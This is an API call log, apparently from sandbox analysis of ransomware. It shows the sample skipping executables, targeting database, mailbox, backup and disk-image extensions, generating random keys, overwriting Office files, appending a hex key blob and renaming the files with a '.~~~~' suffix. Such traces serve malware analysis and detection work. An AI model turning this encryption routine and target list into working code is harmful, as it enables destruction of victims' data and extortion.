	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0135.293] lstrlenW (lpString=".db3") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".db3") returned 0x0
	[0135.293] lstrlenW (lpString=".OST") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".OST") returned 0x0
	[0135.293] lstrlenW (lpString=".dbx") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".dbx") returned 0x0
	[0135.294] lstrlenW (lpString=".DB3") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DB3") returned 0x0
	[0135.294] lstrlenW (lpString=".DAT") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DAT") returned 0x0
	[0135.294] lstrlenW (lpString=".VHDX") returned 5
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0135.294] lstrlenW (lpString=".ndf") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".ndf") returned 0x0
	[0135.294] lstrlenW (lpString=".DB") returned 3
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DB") returned 0x0
	[0135.294] lstrlenW (lpString=".sql") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".sql") returned 0x0
	[0135.294] lstrlenW (lpString=".MYD") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".MYD") returned 0x0
	[0135.294] lstrlenW (lpString=".DBT") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DBT") returned 0x0
	[0135.294] lstrlenW (lpString=".ACCDB") returned 6
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0135.294] lstrlenW (lpString=".fdb") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".fdb") returned 0x0
	[0135.294] lstrlenW (lpString=".bak") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".bak") returned 0x0
	[0135.294] lstrlenW (lpString=".myd") returned 4
	[0135.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".myd") returned 0x0
	[0135.295] lstrlenW (lpString=".DTXS") returned 5
	[0135.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0135.295] lstrlenW (lpString=".ckp") returned 4
	[0135.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".ckp") returned 0x0
	[0135.295] lstrlenW (lpString=".dbt") returned 4
	[0135.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".dbt") returned 0x0
	[0135.295] lstrlenW (lpString=".db") returned 3
	[0135.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".db") returned 0x0
	[0135.295] lstrlenW (lpString=".TXT") returned 4
	[0135.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".TXT") returned 0x0
	[0135.295] lstrlenW (lpString=".MDF") returned 4
	[0135.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".MDF") returned 0x0
	[0135.295] lstrlenW (lpString=".bdb") returned 4
	[0135.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".bdb") returned 0x0
	[0135.338] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.339] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a07b8) returned 1
	[0135.340] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.340] CryptReleaseContext (hProv=0x3a07b8, dwFlags=0x0) returned 1
	[0135.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.340] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25533030423) returned 1
	[0135.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xba1d79f0, dwHighDateTime=0x1d60e1e)) 
	[0135.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0135.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0135.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0135.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28250f0
	[0135.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28250f0 | out: hHeap=0x300000) returned 1
	[0135.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8268
	[0135.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.341] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0135.341] GetLastError () returned 0x0
	[0135.357] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0135.357] GetLastError () returned 0x0
	[0135.358] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffd9d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.358] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x263, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x263, lpOverlapped=0x0) returned 1
	[0135.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.359] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.359] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.359] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.359] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.359] CloseHandle (hObject=0xc4) returned 1
	[0135.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8268
	[0135.360] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.~~~~")) returned 1
	[0135.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8268 | out: hHeap=0x300000) returned 1
	[0135.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.362] GetLastError () returned 0x0
	[0135.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0135.367] lstrlenW (lpString=".cmd") returned 4
	[0135.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0135.367] lstrlenW (lpString=".dll") returned 4
	[0135.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0135.368] lstrlenW (lpString=".bat") returned 4
	[0135.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0135.368] lstrlenW (lpString=".cpl") returned 4
	[0135.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0135.368] lstrlenW (lpString=".sys") returned 4
	[0135.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0135.368] lstrlenW (lpString=".msc") returned 4
	[0135.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0135.368] lstrlenW (lpString=".com") returned 4
	[0135.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".com") returned 0x0
	[0135.368] lstrlenW (lpString=".lnk") returned 4
	[0135.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0135.368] lstrlenW (lpString=".msp") returned 4
	[0135.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0135.368] lstrlenW (lpString=".pif") returned 4
	[0135.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0135.368] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0135.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0135.370] lstrlenW (lpString=".sqb") returned 4
	[0135.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0135.370] lstrlenW (lpString=".ost") returned 4
	[0135.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0135.370] lstrlenW (lpString=".txt") returned 4
	[0135.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0135.370] lstrlenW (lpString=".mdt") returned 4
	[0135.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0135.370] lstrlenW (lpString=".BDB") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0135.371] lstrlenW (lpString=".eql") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0135.371] lstrlenW (lpString=".DBF") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0135.371] lstrlenW (lpString=".EQL") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0135.371] lstrlenW (lpString=".FDB") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0135.371] lstrlenW (lpString=".EDB") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0135.371] lstrlenW (lpString=".DACPAC") returned 7
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0135.371] lstrlenW (lpString=".VHD") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0135.371] lstrlenW (lpString=".DBV") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0135.371] lstrlenW (lpString=".dacpac") returned 7
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0135.371] lstrlenW (lpString=".sdf") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0135.371] lstrlenW (lpString=".accdb") returned 6
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0135.371] lstrlenW (lpString=".DBX") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0135.371] lstrlenW (lpString=".MDT") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0135.371] lstrlenW (lpString=".SQB") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0135.371] lstrlenW (lpString=".vhd") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0135.371] lstrlenW (lpString=".bac") returned 4
	[0135.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0135.371] lstrlenW (lpString=".mdf") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0135.372] lstrlenW (lpString=".BAK") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0135.372] lstrlenW (lpString=".BAC") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0135.372] lstrlenW (lpString=".dbs") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0135.372] lstrlenW (lpString=".vhdx") returned 5
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0135.372] lstrlenW (lpString=".NDF") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0135.372] lstrlenW (lpString=".dat") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0135.372] lstrlenW (lpString=".DBS") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0135.372] lstrlenW (lpString=".CKP") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0135.372] lstrlenW (lpString=".edb") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0135.372] lstrlenW (lpString=".PST") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0135.372] lstrlenW (lpString=".dbf") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0135.372] lstrlenW (lpString=".SQL") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0135.372] lstrlenW (lpString=".pst") returned 4
	[0135.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0135.372] lstrlenW (lpString=".dbv") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0135.373] lstrlenW (lpString=".SDF") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0135.373] lstrlenW (lpString=".dtxs") returned 5
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0135.373] lstrlenW (lpString=".db3") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0135.373] lstrlenW (lpString=".OST") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0135.373] lstrlenW (lpString=".dbx") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0135.373] lstrlenW (lpString=".DB3") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0135.373] lstrlenW (lpString=".DAT") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0135.373] lstrlenW (lpString=".VHDX") returned 5
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0135.373] lstrlenW (lpString=".ndf") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0135.373] lstrlenW (lpString=".DB") returned 3
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0135.373] lstrlenW (lpString=".sql") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0135.373] lstrlenW (lpString=".MYD") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0135.373] lstrlenW (lpString=".DBT") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0135.373] lstrlenW (lpString=".ACCDB") returned 6
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0135.373] lstrlenW (lpString=".fdb") returned 4
	[0135.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0135.373] lstrlenW (lpString=".bak") returned 4
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0135.374] lstrlenW (lpString=".myd") returned 4
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0135.374] lstrlenW (lpString=".DTXS") returned 5
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0135.374] lstrlenW (lpString=".ckp") returned 4
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0135.374] lstrlenW (lpString=".dbt") returned 4
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0135.374] lstrlenW (lpString=".db") returned 3
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".db") returned 0x0
	[0135.374] lstrlenW (lpString=".TXT") returned 4
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0135.374] lstrlenW (lpString=".MDF") returned 4
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0135.374] lstrlenW (lpString=".bdb") returned 4
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0135.374] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.374] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0730) returned 1
	[0135.375] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.375] CryptReleaseContext (hProv=0x3a0730, dwFlags=0x0) returned 1
	[0135.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.376] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25536587443) returned 1
